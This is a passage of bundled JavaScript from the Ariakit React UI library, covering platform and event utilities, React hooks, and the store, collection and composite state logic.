return pairs.map(([_, item]) => item);
}
return items;
}
function isElementPreceding(a, b) {
return Boolean(
b.compareDocumentPosition(a) & Node.DOCUMENT_POSITION_PRECEDING
);
}
;// ./node_modules/@ariakit/core/esm/__chunks/QAGXQEUG.js
"use client";
// src/utils/platform.ts
function isTouchDevice() {
return DTR5TSDJ_canUseDOM && !!navigator.maxTouchPoints;
}
function isApple() {
if (!DTR5TSDJ_canUseDOM) return false;
return /mac|iphone|ipad|ipod/i.test(navigator.platform);
}
function isSafari() {
return DTR5TSDJ_canUseDOM && isApple() && /apple/i.test(navigator.vendor);
}
function isFirefox() {
return DTR5TSDJ_canUseDOM && /firefox\//i.test(navigator.userAgent);
}
function isMac() {
return canUseDOM && navigator.platform.startsWith("Mac") && !isTouchDevice();
}
;// ./node_modules/@ariakit/core/esm/utils/events.js
"use client";
// src/utils/events.ts
function isPortalEvent(event) {
return Boolean(
event.currentTarget && !contains(event.currentTarget, event.target)
);
}
function isSelfTarget(event) {
return event.target === event.currentTarget;
}
function isOpeningInNewTab(event) {
const element = event.currentTarget;
if (!element) return false;
const isAppleDevice = isApple();
if (isAppleDevice && !event.metaKey) return false;
if (!isAppleDevice && !event.ctrlKey) return false;
const tagName = element.tagName.toLowerCase();
if (tagName === "a") return true;
if (tagName === "button" && element.type === "submit") return true;
if (tagName === "input" && element.type === "submit") return true;
return false;
}
function isDownloading(event) {
const element = event.currentTarget;
if (!element) return false;
const tagName = element.tagName.toLowerCase();
if (!event.altKey) return false;
if (tagName === "a") return true;
if (tagName === "button" && element.type === "submit") return true;
if (tagName === "input" && element.type === "submit") return true;
return false;
}
function fireEvent(element, type, eventInit) {
const event = new Event(type, eventInit);
return element.dispatchEvent(event);
}
function fireBlurEvent(element, eventInit) {
const event = new FocusEvent("blur", eventInit);
const defaultAllowed = element.dispatchEvent(event);
const bubbleInit = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, eventInit), { bubbles: true });
element.dispatchEvent(new FocusEvent("focusout", bubbleInit));
return defaultAllowed;
}
function fireFocusEvent(element, eventInit) {
const event = new FocusEvent("focus", eventInit);
const defaultAllowed = element.dispatchEvent(event);
const bubbleInit = __spreadProps(__spreadValues({}, eventInit), { bubbles: true });
element.dispatchEvent(new FocusEvent("focusin", bubbleInit));
return defaultAllowed;
}
function fireKeyboardEvent(element, type, eventInit) {
const event = new KeyboardEvent(type, eventInit);
return element.dispatchEvent(event);
}
function fireClickEvent(element, eventInit) {
const event = new MouseEvent("click", eventInit);
return element.dispatchEvent(event);
}
function isFocusEventOutside(event, container) {
const containerElement = container || event.currentTarget;
const relatedTarget = event.relatedTarget;
return !relatedTarget || !contains(containerElement, relatedTarget);
}
function getInputType(event) {
const nativeEvent = "nativeEvent" in event ? event.nativeEvent : event;
if (!nativeEvent) return;
if (!("inputType" in nativeEvent)) return;
if (typeof nativeEvent.inputType !== "string") return;
return nativeEvent.inputType;
}
function queueBeforeEvent(element, type, callback, timeout) {
const createTimer = (callback2) => {
if (timeout) {
const timerId2 = setTimeout(callback2, timeout);
return () => clearTimeout(timerId2);
}
const timerId = requestAnimationFrame(callback2);
return () => cancelAnimationFrame(timerId);
};
const cancelTimer = createTimer(() => {
element.removeEventListener(type, callSync, true);
callback();
});
const callSync = () => {
cancelTimer();
callback();
};
element.addEventListener(type, callSync, { once: true, capture: true });
return cancelTimer;
}
function addGlobalEventListener(type, listener, options, scope = window) {
const children = [];
try {
scope.document.addEventListener(type, listener, options);
for (const frame of Array.from(scope.frames)) {
children.push(addGlobalEventListener(type, listener, options, frame));
}
} catch (e) {
}
const removeEventListener = () => {
try {
scope.document.removeEventListener(type, listener, options);
} catch (e) {
}
for (const remove of children) {
remove();
}
};
return removeEventListener;
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/ABQUS43J.js
"use client";
// src/utils/hooks.ts
var _React = _3YLGPPWQ_spreadValues({}, external_React_namespaceObject);
var useReactId = _React.useId;
var useReactDeferredValue = _React.useDeferredValue;
var useReactInsertionEffect = _React.useInsertionEffect;
var useSafeLayoutEffect = DTR5TSDJ_canUseDOM ? external_React_.useLayoutEffect : external_React_.useEffect;
function useInitialValue(value) {
const [initialValue] = (0,external_React_.useState)(value);
return initialValue;
}
function useLazyValue(init) {
const ref = useRef();
if (ref.current === void 0) {
ref.current = init();
}
return ref.current;
}
function useLiveRef(value) {
const ref = (0,external_React_.useRef)(value);
useSafeLayoutEffect(() => {
ref.current = value;
});
return ref;
}
function usePreviousValue(value) {
const [previousValue, setPreviousValue] = useState(value);
if (value !== previousValue) {
setPreviousValue(value);
}
return previousValue;
}
function useEvent(callback) {
const ref = (0,external_React_.useRef)(() => {
throw new Error("Cannot call an event handler while rendering.");
});
if (useReactInsertionEffect) {
useReactInsertionEffect(() => {
ref.current = callback;
});
} else {
ref.current = callback;
}
return (0,external_React_.useCallback)((...args) => {
var _a;
return (_a = ref.current) == null ? void 0 : _a.call(ref, ...args);
}, []);
}
function useTransactionState(callback) {
const [state, setState] = (0,external_React_.useState)(null);
useSafeLayoutEffect(() => {
if (state == null) return;
if (!callback) return;
let prevState = null;
callback((prev) => {
prevState = prev;
return state;
});
return () => {
callback(prevState);
};
}, [state, callback]);
return [state, setState];
}
function useMergeRefs(...refs) {
return (0,external_React_.useMemo)(() => {
if (!refs.some(Boolean)) return;
return (value) => {
for (const ref of refs) {
setRef(ref, value);
}
};
}, refs);
}
function useId(defaultId) {
if (useReactId) {
const reactId = useReactId();
if (defaultId) return defaultId;
return reactId;
}
const [id, setId] = (0,external_React_.useState)(defaultId);
useSafeLayoutEffect(() => {
if (defaultId || id) return;
const random = Math.random().toString(36).slice(2, 8);
setId(`id-${random}`);
}, [defaultId, id]);
return defaultId || id;
}
function useDeferredValue(value) {
if (useReactDeferredValue) {
return useReactDeferredValue(value);
}
const [deferredValue, setDeferredValue] = useState(value);
useEffect(() => {
const raf = requestAnimationFrame(() => setDeferredValue(value));
return () => cancelAnimationFrame(raf);
}, [value]);
return deferredValue;
}
function useTagName(refOrElement, type) {
const stringOrUndefined = (type2) => {
if (typeof type2 !== "string") return;
return type2;
};
const [tagName, setTagName] = (0,external_React_.useState)(() => stringOrUndefined(type));
useSafeLayoutEffect(() => {
const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
setTagName((element == null ? void 0 : element.tagName.toLowerCase()) || stringOrUndefined(type));
}, [refOrElement, type]);
return tagName;
}
function useAttribute(refOrElement, attributeName, defaultValue) {
const initialValue = useInitialValue(defaultValue);
const [attribute, setAttribute] = (0,external_React_.useState)(initialValue);
(0,external_React_.useEffect)(() => {
const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
if (!element) return;
const callback = () => {
const value = element.getAttribute(attributeName);
setAttribute(value == null ? initialValue : value);
};
const observer = new MutationObserver(callback);
observer.observe(element, { attributeFilter: [attributeName] });
callback();
return () => observer.disconnect();
}, [refOrElement, attributeName, initialValue]);
return attribute;
}
function useUpdateEffect(effect, deps) {
const mounted = (0,external_React_.useRef)(false);
(0,external_React_.useEffect)(() => {
if (mounted.current) {
return effect();
}
mounted.current = true;
}, deps);
(0,external_React_.useEffect)(
() => () => {
mounted.current = false;
},
[]
);
}
function useUpdateLayoutEffect(effect, deps) {
const mounted = (0,external_React_.useRef)(false);
useSafeLayoutEffect(() => {
if (mounted.current) {
return effect();
}
mounted.current = true;
}, deps);
useSafeLayoutEffect(
() => () => {
mounted.current = false;
},
[]
);
}
function useForceUpdate() {
return (0,external_React_.useReducer)(() => [], []);
}
function useBooleanEvent(booleanOrCallback) {
return useEvent(
typeof booleanOrCallback === "function" ? booleanOrCallback : () => booleanOrCallback
);
}
function useWrapElement(props, callback, deps = []) {
const wrapElement = (0,external_React_.useCallback)(
(element) => {
if (props.wrapElement) {
element = props.wrapElement(element);
}
return callback(element);
},
[...deps, props.wrapElement]
);
return _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { wrapElement });
}
function usePortalRef(portalProp = false, portalRefProp) {
const [portalNode, setPortalNode] = useState(null);
const portalRef = useMergeRefs(setPortalNode, portalRefProp);
const domReady = !portalProp || portalNode;
return { portalRef, portalNode, domReady };
}
function useMetadataProps(props, key, value) {
const parent = props.onLoadedMetadataCapture;
const onLoadedMetadataCapture = (0,external_React_.useMemo)(() => {
return Object.assign(() => {
}, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, parent), { [key]: value }));
}, [parent, key, value]);
return [parent == null ? void 0 : parent[key], { onLoadedMetadataCapture }];
}
function useIsMouseMoving() {
(0,external_React_.useEffect)(() => {
addGlobalEventListener("mousemove", setMouseMoving, true);
addGlobalEventListener("mousedown", resetMouseMoving, true);
addGlobalEventListener("mouseup", resetMouseMoving, true);
addGlobalEventListener("keydown", resetMouseMoving, true);
addGlobalEventListener("scroll", resetMouseMoving, true);
}, []);
const isMouseMoving = useEvent(() => mouseMoving);
return isMouseMoving;
}
var mouseMoving = false;
var previousScreenX = 0;
var previousScreenY = 0;
function hasMouseMovement(event) {
const movementX = event.movementX || event.screenX - previousScreenX;
const movementY = event.movementY || event.screenY - previousScreenY;
previousScreenX = event.screenX;
previousScreenY = event.screenY;
return movementX || movementY || "production" === "test";
}
function setMouseMoving(event) {
if (!hasMouseMovement(event)) return;
mouseMoving = true;
}
function resetMouseMoving() {
mouseMoving = false;
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/LMDWO4NN.js
"use client";
// src/utils/system.tsx
function forwardRef2(render) {
const Role = external_React_.forwardRef((props, ref) => render(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { ref })));
Role.displayName = render.displayName || render.name;
return Role;
}
function memo2(Component, propsAreEqual) {
return external_React_.memo(Component, propsAreEqual);
}
function createElement(Type, props) {
const _a = props, { wrapElement, render } = _a, rest = __objRest(_a, ["wrapElement", "render"]);
const mergedRef = useMergeRefs(props.ref, getRefProperty(render));
let element;
if (external_React_.isValidElement(render)) {
const renderProps = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, render.props), { ref: mergedRef });
element = external_React_.cloneElement(render, mergeProps(rest, renderProps));
} else if (render) {
element = render(rest);
} else {
element = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Type, _3YLGPPWQ_spreadValues({}, rest));
}
if (wrapElement) {
return wrapElement(element);
}
return element;
}
function createHook(useProps) {
const useRole = (props = {}) => {
return useProps(props);
};
useRole.displayName = useProps.name;
return useRole;
}
function createStoreContext(providers = [], scopedProviders = []) {
const context = external_React_.createContext(void 0);
const scopedContext = external_React_.createContext(void 0);
const useContext2 = () => external_React_.useContext(context);
const useScopedContext = (onlyScoped = false) => {
const scoped = external_React_.useContext(scopedContext);
const store = useContext2();
if (onlyScoped) return scoped;
return scoped || store;
};
const useProviderContext = () => {
const scoped = external_React_.useContext(scopedContext);
const store = useContext2();
if (scoped && scoped === store) return;
return store;
};
const ContextProvider = (props) => {
return providers.reduceRight(
(children, Provider) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children })),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(context.Provider, _3YLGPPWQ_spreadValues({}, props))
);
};
const ScopedContextProvider = (props) => {
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextProvider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children: scopedProviders.reduceRight(
(children, Provider) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children })),
/* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(scopedContext.Provider, _3YLGPPWQ_spreadValues({}, props))
) }));
};
return {
context,
scopedContext,
useContext: useContext2,
useScopedContext,
useProviderContext,
ContextProvider,
ScopedContextProvider
};
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/VDHZ5F7K.js
"use client";
// src/collection/collection-context.tsx
var ctx = createStoreContext();
var useCollectionContext = ctx.useContext;
var useCollectionScopedContext = ctx.useScopedContext;
var useCollectionProviderContext = ctx.useProviderContext;
var CollectionContextProvider = ctx.ContextProvider;
var CollectionScopedContextProvider = ctx.ScopedContextProvider;
;// ./node_modules/@ariakit/react-core/esm/__chunks/P7GR5CS5.js
"use client";
// src/composite/composite-context.tsx
var P7GR5CS5_ctx = createStoreContext(
[CollectionContextProvider],
[CollectionScopedContextProvider]
);
var useCompositeContext = P7GR5CS5_ctx.useContext;
var useCompositeScopedContext = P7GR5CS5_ctx.useScopedContext;
var useCompositeProviderContext = P7GR5CS5_ctx.useProviderContext;
var CompositeContextProvider = P7GR5CS5_ctx.ContextProvider;
var CompositeScopedContextProvider = P7GR5CS5_ctx.ScopedContextProvider;
var CompositeItemContext = (0,external_React_.createContext)(
void 0
);
var CompositeRowContext = (0,external_React_.createContext)(
void 0
);
;// ./node_modules/@ariakit/react-core/esm/__chunks/3XAVFTCA.js
"use client";
// src/tag/tag-context.tsx
var TagValueContext = (0,external_React_.createContext)(null);
var TagRemoveIdContext = (0,external_React_.createContext)(
null
);
var _3XAVFTCA_ctx = createStoreContext(
[CompositeContextProvider],
[CompositeScopedContextProvider]
);
var useTagContext = _3XAVFTCA_ctx.useContext;
var useTagScopedContext = _3XAVFTCA_ctx.useScopedContext;
var useTagProviderContext = _3XAVFTCA_ctx.useProviderContext;
var TagContextProvider = _3XAVFTCA_ctx.ContextProvider;
var TagScopedContextProvider = _3XAVFTCA_ctx.ScopedContextProvider;
;// ./node_modules/@ariakit/core/esm/__chunks/BCALMBPZ.js
"use client";
// src/utils/store.ts
function getInternal(store, key) {
const internals = store.__unstableInternals;
invariant(internals, "Invalid store");
return internals[key];
}
function createStore(initialState, ...stores) {
let state = initialState;
let prevStateBatch = state;
let lastUpdate = Symbol();
let destroy = PBFD2E7P_noop;
const instances = /* @__PURE__ */ new Set();
const updatedKeys = /* @__PURE__ */ new Set();
const setups = /* @__PURE__ */ new Set();
const listeners = /* @__PURE__ */ new Set();
const batchListeners = /* @__PURE__ */ new Set();
const disposables = /* @__PURE__ */ new WeakMap();
const listenerKeys = /* @__PURE__ */ new WeakMap();
const storeSetup = (callback) => {
setups.add(callback);
return () => setups.delete(callback);
};
const storeInit = () => {
const initialized = instances.size;
const instance = Symbol();
instances.add(instance);
const maybeDestroy = () => {
instances.delete(instance);
if (instances.size) return;
destroy();
};
if (initialized) return maybeDestroy;
const desyncs = getKeys(state).map(
(key) => chain(
...stores.map((store) => {
var _a;
const storeState = (_a = store == null ? void 0 : store.getState) == null ? void 0 : _a.call(store);
if (!storeState) return;
if (!PBFD2E7P_hasOwnProperty(storeState, key)) return;
return sync(store, [key], (state2) => {
setState(
key,
state2[key],
// @ts-expect-error - Not public API. This is just to prevent
// infinite loops.
true
);
});
})
)
);
const teardowns = [];
for (const setup2 of setups) {
teardowns.push(setup2());
}
const cleanups = stores.map(init);
destroy = chain(...desyncs, ...teardowns, ...cleanups);
return maybeDestroy;
};
const sub = (keys, listener, set = listeners) => {
set.add(listener);
listenerKeys.set(listener, keys);
return () => {
var _a;
(_a = disposables.get(listener)) == null ? void 0 : _a();
disposables.delete(listener);
listenerKeys.delete(listener);
set.delete(listener);
};
};
const storeSubscribe = (keys, listener) => sub(keys, listener);
const storeSync = (keys, listener) => {
disposables.set(listener, listener(state, state));
return sub(keys, listener);
};
const storeBatch = (keys, listener) => {
disposables.set(listener, listener(state, prevStateBatch));
return sub(keys, listener, batchListeners);
};
const storePick = (keys) => createStore(pick(state, keys), finalStore);
const storeOmit = (keys) => createStore(omit(state, keys), finalStore);
const getState = () => state;
const setState = (key, value, fromStores = false) => {
var _a;
if (!PBFD2E7P_hasOwnProperty(state, key)) return;
const nextValue = applyState(value, state[key]);
if (nextValue === state[key]) return;
if (!fromStores) {
for (const store of stores) {
(_a = store == null ? void 0 : store.setState) == null ? void 0 : _a.call(store, key, nextValue);
}
}
const prevState = state;
state = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, state), { [key]: nextValue });
const thisUpdate = Symbol();
lastUpdate = thisUpdate;
updatedKeys.add(key);
const run = (listener, prev, uKeys) => {
var _a2;
const keys = listenerKeys.get(listener);
const updated = (k) => uKeys ? uKeys.has(k) : k === key;
if (!keys || keys.some(updated)) {
(_a2 = disposables.get(listener)) == null ? void 0 : _a2();
disposables.set(listener, listener(state, prev));
}
};
for (const listener of listeners) {
run(listener, prevState);
}
queueMicrotask(() => {
if (lastUpdate !== thisUpdate) return;
const snapshot = state;
for (const listener of batchListeners) {
run(listener, prevStateBatch, updatedKeys);
}
prevStateBatch = snapshot;
updatedKeys.clear();
});
};
const finalStore = {
getState,
setState,
__unstableInternals: {
setup: storeSetup,
init: storeInit,
subscribe: storeSubscribe,
sync: storeSync,
batch: storeBatch,
pick: storePick,
omit: storeOmit
}
};
return finalStore;
}
function setup(store, ...args) {
if (!store) return;
return getInternal(store, "setup")(...args);
}
function init(store, ...args) {
if (!store) return;
return getInternal(store, "init")(...args);
}
function subscribe(store, ...args) {
if (!store) return;
return getInternal(store, "subscribe")(...args);
}
function sync(store, ...args) {
if (!store) return;
return getInternal(store, "sync")(...args);
}
function batch(store, ...args) {
if (!store) return;
return getInternal(store, "batch")(...args);
}
function omit2(store, ...args) {
if (!store) return;
return getInternal(store, "omit")(...args);
}
function pick2(store, ...args) {
if (!store) return;
return getInternal(store, "pick")(...args);
}
function mergeStore(...stores) {
const initialState = stores.reduce((state, store2) => {
var _a;
const nextState = (_a = store2 == null ? void 0 : store2.getState) == null ? void 0 : _a.call(store2);
if (!nextState) return state;
return Object.assign(state, nextState);
}, {});
const store = createStore(initialState, ...stores);
return Object.assign({}, ...stores, store);
}
function throwOnConflictingProps(props, store) {
if (true) return;
if (!store) return;
const defaultKeys = Object.entries(props).filter(([key, value]) => key.startsWith("default") && value !== void 0).map(([key]) => {
var _a;
const stateKey = key.replace("default", "");
return `${((_a = stateKey[0]) == null ? void 0 : _a.toLowerCase()) || ""}${stateKey.slice(1)}`;
});
if (!defaultKeys.length) return;
const storeState = store.getState();
const conflictingProps = defaultKeys.filter(
(key) => PBFD2E7P_hasOwnProperty(storeState, key)
);
if (!conflictingProps.length) return;
throw new Error(
`Passing a store prop in conjunction with a default state is not supported.
const store = useSelectStore();
<SelectProvider store={store} defaultValue="Apple" />
^ ^
Instead, pass the default state to the topmost store:
const store = useSelectStore({ defaultValue: "Apple" });
<SelectProvider store={store} />
See https://github.com/ariakit/ariakit/pull/2745 for more details.
If there's a particular need for this, please submit a feature request at https://github.com/ariakit/ariakit
`
);
}
// EXTERNAL MODULE: ./node_modules/use-sync-external-store/shim/index.js
var shim = __webpack_require__(422);
;// ./node_modules/@ariakit/react-core/esm/__chunks/YV4JVR4I.js
"use client";
// src/utils/store.tsx
var { useSyncExternalStore } = shim;
var noopSubscribe = () => () => {
};
function useStoreState(store, keyOrSelector = identity) {
const storeSubscribe = external_React_.useCallback(
(callback) => {
if (!store) return noopSubscribe();
return subscribe(store, null, callback);
},
[store]
);
const getSnapshot = () => {
const key = typeof keyOrSelector === "string" ? keyOrSelector : null;
const selector = typeof keyOrSelector === "function" ? keyOrSelector : null;
const state = store == null ? void 0 : store.getState();
if (selector) return selector(state);
if (!state) return;
if (!key) return;
if (!PBFD2E7P_hasOwnProperty(state, key)) return;
return state[key];
};
return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
}
function useStoreStateObject(store, object) {
const objRef = external_React_.useRef(
{}
);
const storeSubscribe = external_React_.useCallback(
(callback) => {
if (!store) return noopSubscribe();
return subscribe(store, null, callback);
},
[store]
);
const getSnapshot = () => {
const state = store == null ? void 0 : store.getState();
let updated = false;
const obj = objRef.current;
for (const prop in object) {
const keyOrSelector = object[prop];
if (typeof keyOrSelector === "function") {
const value = keyOrSelector(state);
if (value !== obj[prop]) {
obj[prop] = value;
updated = true;
}
}
if (typeof keyOrSelector === "string") {
if (!state) continue;
if (!PBFD2E7P_hasOwnProperty(state, keyOrSelector)) continue;
const value = state[keyOrSelector];
if (value !== obj[prop]) {
obj[prop] = value;
updated = true;
}
}
}
if (updated) {
objRef.current = _3YLGPPWQ_spreadValues({}, obj);
}
return objRef.current;
};
return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
}
function useStoreProps(store, props, key, setKey) {
const value = PBFD2E7P_hasOwnProperty(props, key) ? props[key] : void 0;
const setValue = setKey ? props[setKey] : void 0;
const propsRef = useLiveRef({ value, setValue });
useSafeLayoutEffect(() => {
return sync(store, [key], (state, prev) => {
const { value: value2, setValue: setValue2 } = propsRef.current;
if (!setValue2) return;
if (state[key] === prev[key]) return;
if (state[key] === value2) return;
setValue2(state[key]);
});
}, [store, key]);
useSafeLayoutEffect(() => {
if (value === void 0) return;
store.setState(key, value);
return batch(store, [key], () => {
if (value === void 0) return;
store.setState(key, value);
});
});
}
function YV4JVR4I_useStore(createStore, props) {
const [store, setStore] = external_React_.useState(() => createStore(props));
useSafeLayoutEffect(() => init(store), [store]);
const useState2 = external_React_.useCallback(
(keyOrSelector) => useStoreState(store, keyOrSelector),
[store]
);
const memoizedStore = external_React_.useMemo(
() => _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, store), { useState: useState2 }),
[store, useState2]
);
const updateStore = useEvent(() => {
setStore((store2) => createStore(_3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({}, props), store2.getState())));
});
return [memoizedStore, updateStore];
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/C3IKGW5T.js
"use client";
// src/collection/collection-store.ts
function useCollectionStoreProps(store, update, props) {
useUpdateEffect(update, [props.store]);
useStoreProps(store, props, "items", "setItems");
return store;
}
function useCollectionStore(props = {}) {
const [store, update] = useStore(Core.createCollectionStore, props);
return useCollectionStoreProps(store, update, props);
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/4CMBR7SL.js
"use client";
// src/composite/composite-store.ts
function useCompositeStoreOptions(props) {
const id = useId(props.id);
return _3YLGPPWQ_spreadValues({ id }, props);
}
function useCompositeStoreProps(store, update, props) {
store = useCollectionStoreProps(store, update, props);
useStoreProps(store, props, "activeId", "setActiveId");
useStoreProps(store, props, "includesBaseElement");
useStoreProps(store, props, "virtualFocus");
useStoreProps(store, props, "orientation");
useStoreProps(store, props, "rtl");
useStoreProps(store, props, "focusLoop");
useStoreProps(store, props, "focusWrap");
useStoreProps(store, props, "focusShift");
return store;
}
function useCompositeStore(props = {}) {
props = useCompositeStoreOptions(props);
const [store, update] = useStore(Core.createCompositeStore, props);
return useCompositeStoreProps(store, update, props);
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/WYCIER3C.js
"use client";
// src/disclosure/disclosure-store.ts
function useDisclosureStoreProps(store, update, props) {
useUpdateEffect(update, [props.store, props.disclosure]);
useStoreProps(store, props, "open", "setOpen");
useStoreProps(store, props, "mounted", "setMounted");
useStoreProps(store, props, "animated");
return Object.assign(store, { disclosure: props.disclosure });
}
function useDisclosureStore(props = {}) {
const [store, update] = useStore(Core.createDisclosureStore, props);
return useDisclosureStoreProps(store, update, props);
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/BM6PGYQY.js
"use client";
// src/dialog/dialog-store.ts
function useDialogStoreProps(store, update, props) {
return useDisclosureStoreProps(store, update, props);
}
function useDialogStore(props = {}) {
const [store, update] = useStore(Core.createDialogStore, props);
return useDialogStoreProps(store, update, props);
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/O2PQ2652.js
"use client";
// src/popover/popover-store.ts
function usePopoverStoreProps(store, update, props) {
useUpdateEffect(update, [props.popover]);
useStoreProps(store, props, "placement");
return useDialogStoreProps(store, update, props);
}
function usePopoverStore(props = {}) {
const [store, update] = useStore(Core.createPopoverStore, props);
return usePopoverStoreProps(store, update, props);
}
;// ./node_modules/@ariakit/core/esm/__chunks/CYQWQL4J.js
"use client";
// src/collection/collection-store.ts
function getCommonParent(items) {
var _a;
const firstItem = items.find((item) => !!item.element);
const lastItem = [...items].reverse().find((item) => !!item.element);
let parentElement = (_a = firstItem == null ? void 0 : firstItem.element) == null ? void 0 : _a.parentElement;
while (parentElement && (lastItem == null ? void 0 : lastItem.element)) {
const parent = parentElement;
if (lastItem && parent.contains(lastItem.element)) {
return parentElement;
}
parentElement = parentElement.parentElement;
}
return getDocument(parentElement).body;
}
function getPrivateStore(store) {
return store == null ? void 0 : store.__unstablePrivateStore;
}
function createCollectionStore(props = {}) {
var _a;
throwOnConflictingProps(props, props.store);
const syncState = (_a = props.store) == null ? void 0 : _a.getState();
const items = defaultValue(
props.items,
syncState == null ? void 0 : syncState.items,
props.defaultItems,
[]
);
const itemsMap = new Map(items.map((item) => [item.id, item]));
const initialState = {
items,
renderedItems: defaultValue(syncState == null ? void 0 : syncState.renderedItems, [])
};
const syncPrivateStore = getPrivateStore(props.store);
const privateStore = createStore(
{ items, renderedItems: initialState.renderedItems },
syncPrivateStore
);
const collection = createStore(initialState, props.store);
const sortItems = (renderedItems) => {
const sortedItems = sortBasedOnDOMPosition(renderedItems, (i) => i.element);
privateStore.setState("renderedItems", sortedItems);
collection.setState("renderedItems", sortedItems);
};
setup(collection, () => init(privateStore));
setup(privateStore, () => {
return batch(privateStore, ["items"], (state) => {
collection.setState("items", state.items);
});
});
setup(privateStore, () => {
return batch(privateStore, ["renderedItems"], (state) => {
let firstRun = true;
let raf = requestAnimationFrame(() => {
const { renderedItems } = collection.getState();
if (state.renderedItems === renderedItems) return;
sortItems(state.renderedItems);
});
if (typeof IntersectionObserver !== "function") {
return () => cancelAnimationFrame(raf);
}
const ioCallback = () => {
if (firstRun) {
firstRun = false;
return;
}
cancelAnimationFrame(raf);
raf = requestAnimationFrame(() => sortItems(state.renderedItems));
};
const root = getCommonParent(state.renderedItems);
const observer = new IntersectionObserver(ioCallback, { root });
for (const item of state.renderedItems) {
if (!item.element) continue;
observer.observe(item.element);
}
return () => {
cancelAnimationFrame(raf);
observer.disconnect();
};
});
});
const mergeItem = (item, setItems, canDeleteFromMap = false) => {
let prevItem;
setItems((items2) => {
const index = items2.findIndex(({ id }) => id === item.id);
const nextItems = items2.slice();
if (index !== -1) {
prevItem = items2[index];
const nextItem = _chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, prevItem), item);
nextItems[index] = nextItem;
itemsMap.set(item.id, nextItem);
} else {
nextItems.push(item);
itemsMap.set(item.id, item);
}
return nextItems;
});
const unmergeItem = () => {
setItems((items2) => {
if (!prevItem) {
if (canDeleteFromMap) {
itemsMap.delete(item.id);
}
return items2.filter(({ id }) => id !== item.id);
}
const index = items2.findIndex(({ id }) => id === item.id);
if (index === -1) return items2;
const nextItems = items2.slice();
nextItems[index] = prevItem;
itemsMap.set(item.id, prevItem);
return nextItems;
});
};
return unmergeItem;
};
const registerItem = (item) => mergeItem(
item,
(getItems) => privateStore.setState("items", getItems),
true
);
return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, collection), {
registerItem,
renderItem: (item) => chain(
registerItem(item),
mergeItem(
item,
(getItems) => privateStore.setState("renderedItems", getItems)
)
),
item: (id) => {
if (!id) return null;
let item = itemsMap.get(id);
if (!item) {
const { items: items2 } = privateStore.getState();
item = items2.find((item2) => item2.id === id);
if (item) {
itemsMap.set(id, item);
}
}
return item || null;
},
// @ts-expect-error Internal
__unstablePrivateStore: privateStore
});
}
;// ./node_modules/@ariakit/core/esm/__chunks/7PRQYBBV.js
"use client";
// src/utils/array.ts
function toArray(arg) {
if (Array.isArray(arg)) {
return arg;
}
return typeof arg !== "undefined" ? [arg] : [];
}
function addItemToArray(array, item, index = -1) {
if (!(index in array)) {
return [...array, item];
}
return [...array.slice(0, index), item, ...array.slice(index)];
}
function flatten2DArray(array) {
const flattened = [];
for (const row of array) {
flattened.push(...row);
}
return flattened;
}
function reverseArray(array) {
return array.slice().reverse();
}
;// ./node_modules/@ariakit/core/esm/__chunks/AJZ4BYF3.js
"use client";
// src/composite/composite-store.ts
var NULL_ITEM = { id: null };
function findFirstEnabledItem(items, excludeId) {
return items.find((item) => {
if (excludeId) {
return !item.disabled && item.id !== excludeId;
}
return !item.disabled;
});
}
function getEnabledItems(items, excludeId) {
return items.filter((item) => {
if (excludeId) {
return !item.disabled && item.id !== excludeId;
}
return !item.disabled;
});
}
function getItemsInRow(items, rowId) {
return items.filter((item) => item.rowId === rowId);
}
function flipItems(items, activeId, shouldInsertNullItem = false) {
const index = items.findIndex((item) => item.id === activeId);
return [
...items.slice(index + 1),
...shouldInsertNullItem ? [NULL_ITEM] : [],
...items.slice(0, index)
];
}
function groupItemsByRows(items) {
const rows = [];
for (const item of items) {
const row = rows.find((currentRow) => {
var _a;
return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
});
if (row) {
row.push(item);
} else {
rows.push([item]);
}
}
return rows;
}
function getMaxRowLength(array) {
let maxLength = 0;
for (const { length } of array) {
if (length > maxLength) {
maxLength = length;
}
}
return maxLength;
}
function createEmptyItem(rowId) {
return {
id: "__EMPTY_ITEM__",
disabled: true,
rowId
};
}
function normalizeRows(rows, activeId, focusShift) {
const maxLength = getMaxRowLength(rows);
for (const row of rows) {
for (let i = 0; i < maxLength; i += 1) {
const item = row[i];
if (!item || focusShift && item.disabled) {
const isFirst = i === 0;
const previousItem = isFirst && focusShift ? findFirstEnabledItem(row) : row[i - 1];
